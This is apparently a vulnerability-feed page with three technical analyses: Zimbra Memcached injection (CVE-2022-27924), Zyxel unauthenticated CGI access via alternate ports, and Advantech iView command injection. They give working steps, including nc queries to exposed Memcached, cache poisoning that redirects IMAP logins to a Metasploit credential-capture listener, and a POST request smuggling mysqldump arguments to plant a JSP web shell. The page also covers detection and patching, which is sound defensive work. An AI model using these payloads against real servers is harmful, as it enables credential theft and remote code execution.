Activity Feed

Indicated source as
Indicated source as
  • Other: Reliable private reports to Rapid7 of exploitation by advanced threat actors
Indicated source as
Technical Analysis


On May 10, 2022, Zimbra released a patch for CVE-2022-27924 inZimbra Collaboration Suite to resolve a blind Memcached injection vulnerability. On June 14, 2022, Sonar posted a blog discussing the issue in detail. This post is based on our own experimentation and analysis in addition to Sonar’s blog.

The list of affected products includes:

  • Zimbra Collaboration Suite 8.8.15 prior to Patch 31
  • Zimbra Collaboration Suite 9.0.0 prior to Patch 24

If an attacker successfully exploits this issue, they can change arbitrary keys in the Memcached cache to arbitrary values. In the worst case scenario, an attacker can steal a user’s credentials when a user attempts to authenticate. Combined with a recent authenticated remote code execution vulnerability (CVE-2022-27925) and a currently unpatched privilege escalation issue that was publicly disclosed in October, 2021, capturing a user’s password can lead to remote code execution as the root user on an organization’s email server, which frequently contains sensitive data.

Rapid7 has received private reports that this vulnerability is being actively exploited in the wild by well organized threat groups.

We recently wrote about an unRAR issue in Zimbra that leads to remote code execution as well.

The potential consequences of exploitating CVE-2022-27924, combined with reported exploitation in the wild and other recent vulnerabilities, means that administrators should patch their Zimbra servers as soon as reasonably possible. We provide guidance on patches and workarounds below.

Technical analysis

To test Zimbra, we installed a current FOSS Zimbra version (8.8.15 Patch 31) on Ubuntu 18.04, and specifically downgraded the nginx package and configurations (the current version is supposed to be a one-way patch, so removing it is tricky). The exploit techniques should be the same whether Zimbra is on Ubuntu, Red Hat, or any other supported platform.


Memcached is a memory-only caching daemon that is used to store short-lived but quickly retrievable strings. Zimbra uses Memcached to store a variety of ephemeral information, including routing information for back-end servers. We’ll dig into what exactly is being stored later, but first, let’s look at how Memcached is configured:

$ ps aux | grep memcache
zimbra     3837  0.0  0.0 322832    84 ?        Ssl  08:16   0:03 /opt/zimbra/common/bin/memcached -d -P /opt/zimbra/log/ -U 0 -p 11211

$ /opt/zimbra/common/bin/memcached -h
-p <num>      TCP port number to listen on (default: 11211)
-U <num>      UDP port number to listen on (default: 11211, 0 is off)
-l <addr>     interface to listen on (default: INADDR_ANY, all addresses)

The -l argument is important for security purposes – it prevents random hosts from sending queries to Memcached. While Zimbra does support the -l argument, it does not set that flag by default:

$ cat /opt/zimbra/bin/zmmemcachedctl 
    addr=$(/opt/zimbra/bin/zmprov -l gs ${zimbra_server_hostname} zimbraMemcachedBindAddress | awk '/^zimbraMemcachedBindAddress:/{ print $2 }')
    if [ x"$addr" = "x" ]; then
      /opt/zimbra/common/bin/${servicename} -d -P ${pidfile} -U 0 -p ${port:-11211}
      /opt/zimbra/common/bin/${servicename} -d -P ${pidfile} -U 0 -l ${addr} -p ${port:-11211}

Even though it listens on all interfaces, we cannot write to Memcached remotely:

$ echo -ne 'add test 0 3600 8\r\ntesttest\r\n' | nc localhost 11211

$ echo -ne 'add test 0 3600 8\r\ntesttest\r\n' | nc 11211

We can, however, query remotely, which will be super helpful later on:

$ echo -ne 'get test\r\n' | nc 11211
VALUE test 0 8

We recommend configuring Zimbra to block external Memcached, even on patched versions of Zimbra.


We can verify that memcached executes as promised using netstat on our Zimbra host:

# netstat -pant
tcp        0      0 *               LISTEN      3837/memcached      
tcp        0      0        ESTABLISHED 3837/memcached      
tcp        0      0        ESTABLISHED 3837/memcached      
tcp        0      0        ESTABLISHED 3837/memcached      
tcp        0      0        ESTABLISHED 3837/memcached      
tcp6       0      0 :::11211                :::*                    LISTEN      3837/memcached
tcp        0      0        ESTABLISHED 3900/nginx: worker  
tcp        0      0        ESTABLISHED 3898/nginx: worker  
tcp        0      0        ESTABLISHED 3899/nginx: worker  
tcp        0      0        ESTABLISHED 3901/nginx: worker

As shown in that output, Zimbra maintains four different connections to memcached at all times, which corresponds to four nginx workers. Zimbra maintains their own fork of Nginx that builds-in memcached support. Ultimately, saving routes in a cache like this is used to support multiple back-end Zimbra servers, but even with a single back-end server this logic still exists.

Once a Zimbra server has been running and used for a while (including both HTTPS and IMAP), we can query (even remotely!) to find out what sorta information is stored, using this technique (we later found a tool called memcdump or memdump that does the same thing):

$ echo -ne 'stats items\r\n' | nc 11211 | cut -d: -f2 | uniq

$ echo -ne 'stats cachedump 1 999\r\nstats cachedump 3 999\r\n' | nc 11211
ITEM route:proto=imapssl; [15 b; 1658950432 s]
ITEM alias:user=admin;ip= [25 b; 1658950432 s]
ITEM route:proto=httpssl; [15 b; 1658950427 s]
ITEM route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 [15 b; 1658950427 s]
ITEM route:proto=httpssl; [15 b; 1658950417 s]
ITEM alias:user=admin;vhost= [25 b; 1658950417 s]
ITEM route:proto=httpssl;id=3f65be18-dd18-40b5-9618-4b5f1d4a3471 [15 b; 1658950415 s]

What you’re seeing there are cache entries for the different protocols and users. If we query the values, we can see that they contain addresses and ports for upstream servers (which is very often the target server itself):

$ nc 11211

get route:proto=httpssl; 
VALUE route:proto=httpssl; 0 15

get route:proto=imapssl;
VALUE route:proto=imapssl; 0 15

We can validate how Zimbra uses these entries by spying on the network traffic. While we could have configured a Memcached log file, we took the easy approach and used tshark to log packets:

# tshark -i lo port 11211
Capturing on 'Loopback'

If we log in with a browser then with IMAP, we see those values being queried by Zimbra (and inserted, if the value is blank):

    1 0.000000000 →   MEMCACHE 131 get route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 
    2 0.000089488 →   MEMCACHE 160 VALUE route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 0 15 
    3 0.000101214 →   TCP 66 36660 → 11211 [ACK] Seq=66 Ack=95 Win=512 Len=0 TSval=2502091052 TSecr=2502091052
    4 0.004031459 →   MEMCACHE 131 get route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 
    5 0.004127048 →   MEMCACHE 160 VALUE route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 0 15

  106 80.715764716 →   MEMCACHE 102 get alias:user=admin;ip= 
  107 80.715868568 →   MEMCACHE 141 VALUE alias:user=admin;ip= 0 25 
  108 80.715884212 →   TCP 66 51262 → 11211 [ACK] Seq=37 Ack=76 Win=512 Len=0 TSval=2502171768 TSecr=2502171768
  109 80.715952639 →   MEMCACHE 122 get route:proto=imapssl; 
  110 80.716013014 →   MEMCACHE 151 VALUE route:proto=imapssl; 0 15

Our goal for exploiting this vulnerability is going to be sabotaging those entries, for profit!

The Vulnerability

Zimbra actually patched this issue in two different places. First, they block HTTP requests containing newline characters; second, they now use SHA256 to hash the keys. Neither of these patches gives away where the actual vulnerability is, other than telling us that it’s exploited by injecting newline characters. Thankfully, Sonar’s blog helpfully outlines the exploit in detail!

They use effectively the following example to demonstrate the issue, which we modified to point to our test server and work with cURL:

$ curl -k ''
<meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/>
<title>Error 401 must authenticate</title>
<body><h2>HTTP ERROR 401 must authenticate</h2>
<tr><th>MESSAGE:</th><td>must authenticate</td></tr>


While we don’t see any meaningful response, we do see Memcached traffic in the tshark instance we started earlier:

# tshark -i lo port 11211
  150 691.837981292 →   MEMCACHE 120 get alias:user=example 
  151 691.838563956 →   MEMCACHE 71 END 
  152 691.838582407 →   TCP 66 38592 → 11211 [ACK] Seq=3494 Ack=4372 Win=512 Len=0 TSval=2504172114 TSecr=2504172114
  153 691.838612727 →   MEMCACHE 128 get route:proto=httpssl;user=example 
  154 691.840128073 →   MEMCACHE 1398 STAT pid 3939 

Note, in particular, that the stat command executed! That’s Memcached injection!


Now that we’ve confirmed the Memcached injection, let’s look at how we can exploit it!

Since we know that the entry for, say, route:proto=imapssl; is simply a hostname:port referencing the upstream server, what if we perform a request that changes one of those values? Let’s try the following payload:

$ curl -k ';'

Then, since memcached is open to the world, we can check if it worked:

$ nc 11211
get route:proto=imapssl;
VALUE route:proto=imapssl; 0 15

It worked! We configured an arbitrary back-end server, to which Zimbra will forward IMAP traffic.

Since Zimbra will proxy our authentication to the specified back-end server, if we use our own, malicious IMAP server, we should be able to capture credentials! Metasploit to the rescue!…? Unfortunately, Zimbra’s proxy uses an IMAP feature that Metasploit currently doesn’t support, but we patched it and it’ll get rolled out soon! In the meantime, using that branch of Metasploit, we can fire up a listener:

msf6 > use auxiliary/server/capture/imap
msf6 auxiliary(server/capture/imap) > show options
msf6 auxiliary(server/capture/imap) > set SRVPORT 1234
SRVPORT => 1234
msf6 auxiliary(server/capture/imap) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(server/capture/imap) > exploit
[*] Auxiliary module running as background job 0.
[*] Started service listener on 
[*] Server started.

Then, using any IMAP client (we used Claws Mail), connect to the Zimbra server using the poisoned account (in our case, it’s Once the IMAP client connects to the poisoned account, it will attempt to authenticate, and Zimbra will forward us the authentication details:

msf6 auxiliary(server/capture/imap) > exploit
[*] Auxiliary module running as background job 0.
[*] Started service listener on 
[*] Server started.
[+] IMAP LOGIN / mybigtestpassword

We can also test this with Ncat, directly authenticating to the Zimbra server:

$ echo -ne '1 LOGIN password1234\r\n' | nc --ssl 993
* OK IMAP4rev1 proxy server ready

Which immediately shows up in Metasploit:

msf6 auxiliary(server/capture/imap) > exploit
[*] Auxiliary module running as background job 0.
[*] Started service listener on 
[*] Server started.
[+] IMAP LOGIN / mybigtestpassword
[+] IMAP LOGIN / password1234

So if we know a user’s email address, we can steal their password. If you get one user login, you can pretty easily get the rest from Zimbra’s address book, especially if it’s an administrator. But, is there a way to get ANY account?

Additional Exploit

The downside to that exploit is that you need to know a username on the server in order to exploit it. According to Sonar’s blog, it is also possible to poison the cache for any user, by stacking multiple requests. The idea is, we send an extra get request for Memcached in a single query, Memcached will respond with two different messages:The first will return to the injected query, and the second to whatever query happens next. Zimbra didn’t validate that the response it received was the request it sent, so it would fetch the wrong value. It would try to get a route for, for example, but actually receive the value test!

Unfortunately, in our testing we could not reproduce that attack, very likely because of how we down-patched our service. Something else in the current version of Zimbra is likely blocking it.

But, as noted above, poisoning the cache for a single user is likely sufficient to get all usernames very quickly. Plus, if Memcached is exposed on port 11211 we can get a list of users directly from the cache!


This specific attack requires newline characters in a GET request, which are fairly unusual. Specifically, %0d and %0a (case insensitive) should be monitored in URL logs; we found the following logs that contained evidence:

  • /opt/zimbra/log/trace.log.<date>
  • /opt/zimbra/log/nginx.access.log
  • /opt/zimbra/log/access_log.<date>

And searched them like this:

# sudo cat trace_log.2022_07_28 | grep -i '%0[da]'
21:10:01.387:qtp1381713434-126:; REQUEST GET null; curl/7.79.1
21:10:04.181:qtp1381713434-126:; RESPONSE 401 null

Some of our failed attempts were additionally logged in /opt/zimbra/log/nginx.log, though it is unlikely that you’d see an attack there (unless the attacker made a mistake).

We also found a tool called memcdump (or memdump), which can dump entries in Memcached; any unrecognized servers referenced in Memcached’s cache are evidence of an attack, but note that an attacker can choose how long until a Memcached entry expires, and the entries do not persist across a reboot. Since this tool does not appear to print values, we used this bash command (replace localhost with the server’s IP address to use it remotely):

$ for entry in $(memcdump --servers=localhost | grep 'route:'); do echo -ne "get $entry\r\n" | nc -w1 localhost 11211; done
VALUE route:proto=httpssl;id=da0582c6-a871-4f8d-9a94-0d1fb481eafc 0 15
VALUE route:proto=httpssl; 0 15


Rapid7 recommends updating all Zimbra servers to the most recent version. Several recent vulnerabilities exist that can lead to remote code execution or credential theft, and they are all fixed by updating.

Additionally, we recommend restricting Memcached to only listen on localhost, using Zimbra’s instructions — both configuring Zimbra’s bind address and, as a defense-in-depth measure, blocking the port with a firewall.

If updating is not possible, as a stop-gap measure you can use a reverse-proxy to block newline characters, the same way Zimbra does.


Technical Analysis

Based on updated analysis from Maurizio Agazzini over at, it appears the impact of this vulnerability is a lot higher than initially anticipated. I think what our analysis and possibly others failed to realize is that a lot of this vulnerability is dependent on the actual port that you send the request to.

In the analysis listed above they noted that the following ports are associated with Apache:

  • 8008
  • 54088
  • 80
  • 4433
  • 443

And if we access the port 8008 we get a VPN Authorize authentication prompt, which appears to be related to 2FA. However note that unlike @jbaines-r7’s assessment, the prompt isn’t exactly the same and contains the text “VPN Authorize” at the top.

From this they then realized that since this must be related to 2FA, there is a configuration file at /var/zyxel/service_conf/httpd_twofa.conf which controls this. Looking at the configuration showed it was set up to listen on port 8008, the same port accessed earlier, and gave some more information on setup.

They they accessed port 54088 whilst exploring the other ports and noticed it contained what looked to be a block page. This is common on firewalling/website blocking apps where they will run a website on a port and redirect to that port to show the block page whenever a website that is deemed to be “bad” is attempted to be accessed by a user.

Looking at this and noticing it was a blockpage lead them to /var/zyxel/service_conf/cf_blockpage_https.conf which showed that port 54088 was being used for the cf_blockpage service,.

They then noticed both of these configuration files referenced /usr/local/apache/cgi-bin using the Directory configuration directive as described at, which would have the configuration option SSLOptions +StdEnvVars which as described at, sets “the standard set of SSL related CGI/SSI environment variables are created. This per default is disabled for performance reasons, because the information extraction step is a rather expensive operation. So one usually enables this option for CGI and SSI requests only.” So this is interesting as it indicates we might be using CGI scripts on these endpoints.

At this point they then looked at /usr/local/zyxel-gui/httpd.conf and found that the /usr/local/apache/cgi-bin directory has a ScriptAlias for /cgi-bin/, meaning one can access the scripts in this directory by browsing to /cgi-bin/. Because this was configured in a global area though, this means that all the CGIs inside the /usr/local/apache/cgi-bin directory are accessible on every different virtual host the server provides.

As a final point they show that they could get around some of the authentication errors by sending a CGI request not to port 443, but instead to port 8008, and the same request worked fine, which allowed them to export the startup-config.conf file. This is just one example though as now they can essentially access any CGI endpoints on the server without authentication and are limited only by what the CGI script allows them to do.

Indicated source as
Technical Analysis

An unauthenticated attacker can leverage this command injection vulnerability to gain remote code execution against vulnerable versions of Advantech iView software. The software runs as NT AUTHORITY\SYSTEM, so this will ultimately give an attacker unauthenticated privileged access with relatively low effort.

The vulnerability lies in the NetworkServlet database backup functionality:

  private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) {
    boolean bReturn = false;
    String strResults = new String();
    String strFilename = request.getParameter("backup_filename");
    String strExecuteCmd = new String();
    String strMySQLPath = new String();
    String strDbBackupFilePath = new String();
    DBServices tempDBServices = new DBServices();
    Process runtimeProcess = null;
    SystemTable tempSystemTable = new SystemTable();
    boolean errFile = false, sqlInj = false;
    CUtils cutil = new CUtils();
    if (strFilename != null && !strFilename.equals(""))
      errFile = cutil.checkFileNameIncludePath(strFilename);     <---
    sqlInj = cutil.checkSQLInjection(strFilename);     <---
    return bReturn;

Two checks are performed on the user-controlled strFileName variable (backup_filename in POST). The first check is a test for attempted directory traversal or an attempt to write a file to known executable directories:

  public boolean checkFileNameIncludePath(String filename) {
    boolean result = false;
    if (filename.contains("../") || filename.contains("/Microsoft/Windows/")) {
      result = true;
    } else if (filename.contains("..\\") || filename.contains("\\webapps\\") || filename.contains("\\Apache Software Foundation\\")) {
      result = true;
    if (result)
      System.out.println("Error: Directory Traversal Vulnerability detected in [" + filename + "]"); 
    return result;

The second check simply determines whether the strFileName includes any SQL keywords that would imply a SQL injection attempt. It also checks for attempts at executing arbitrary commands via getRuntime().exec():

public boolean checkSQLInjection(String model0) {
    boolean result = false;
    String model = model0.toLowerCase();
    if (model.contains(" or ") || model.contains("'or ") || model.contains("||") || model.contains("==") || model.contains("--")) {
      result = true;
    } else if (model.contains("union") && model.contains("select")) {
      if (checkCommentStr(model, "union", "select"))
        result = true; 
    } else if (model.contains("case") && model.contains("when")) {
      if (checkCommentStr(model, "case", "when"))
        result = true; 
    } else if (model.contains("into") && model.contains("dumpfile")) {
      if (checkCommentStr(model, "into", "dumpfile"))
        result = true; 
    } else if (model.contains("into") && model.contains("outfile")) {
      if (checkCommentStr(model, "into", "outfile"))
        result = true; 
    } else if (model.contains(" where ") && model.contains("select ")) {
      result = true;
    } else if (model.contains("benchmark")) {
      result = true;
    } else if (model.contains("select") && model.contains("from")) {
      if (checkCommentStr(model, "select", "from"))
        result = true; 
    } else if (model.contains("select/*")) {
      result = true;
    } else if (model.contains("delete") && model.contains("from")) {
      if (checkCommentStr(model, "delete", "from"))
        result = true; 
    } else if ((model.contains("drop") && model.contains("table")) || (model.contains("drop") && model.contains("database"))) {
      if (checkCommentStr(model, "drop", "table"))
        result = true; 
      if (checkCommentStr(model, "drop", "database"))
        result = true; 
    } else if (model.contains("sleep(") || model.contains(" rlike ") || model.contains("rlike(") || model.contains(" like ")) {
      result = true;
    } else if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) {
      result = true;
    } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) {
      result = true;
    } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) {
      result = true;
    if (result)
      System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]"); 
    return result;

Returning to backupDatabase(), as long as the strFileName variable passes the two above checks it will be used in forming a mysqldump command which will be executed via Runtime.getRuntime().exec(). Since the previous sanitization checks didn’t take mysqldump arguments into account, the -r and -w flags can be used for exploitation.

private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) {
 if (!errFile && !sqlInj) {
      if (tempDBServices.getMySQLLocation()) {
        strMySQLPath = tempDBServices.getMySQLPath();
        if (tempDBServices.retrieveDbSettings()) {
          String strUser = tempDBServices.getStrLoginUserID();
          String strPassword = tempDBServices.getStrLoginPassword();
          if (tempSystemTable.findDbBackupFilePath()) {
            strDbBackupFilePath = tempSystemTable.getDbBackupFilePath();
            strDbBackupFilePath = String.valueOf(strDbBackupFilePath) + strFilename;
            if (DBServices.OsUtils.isWindows()) {
              strExecuteCmd = "\"" + strMySQLPath;
              strExecuteCmd = String.valueOf(strExecuteCmd) + "bin\\mysqldump\" -hlocalhost -u " + strUser + " -p" + strPassword + " --add-drop-database -B iview -r \"" + strDbBackupFilePath + "\"";
            try {
              runtimeProcess = Runtime.getRuntime().exec(strExecuteCmd);

The -r flag designates a file for the output of the mysqldump command, and the -w flag allows the user to supply a condition for the command, which will end up in the output file. Given this, an attacker can pass in a jsp stub as the condition, and they will now have the ability to execute code on the target. This can be done with a single POST request (parameters not encoded for readability):

POST /iView3/NetworkServlet HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 469

page_action_type=backupDatabase&backup_filename=Qivsaus.sql" -r "./webapps/iView3/ZQmIfz.jsp" -w "<%=new String( ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{119,83,97,65,116,110,68,88})),request.getParameter(new java.lang.String(new byte[]{107,88,108,74})),request.getParameter(new java.lang.String(new byte[]{81,72,108,68,101,102}))).start()).getInputStream()))%>"

The patch for this vulnerability makes authentication a requirement for accessing the NetworkServlet endpoint. Since this vuln is trivial to exploit, I would recommend this one as high priority to patch. Credit goes to y4er for original blog post and PoC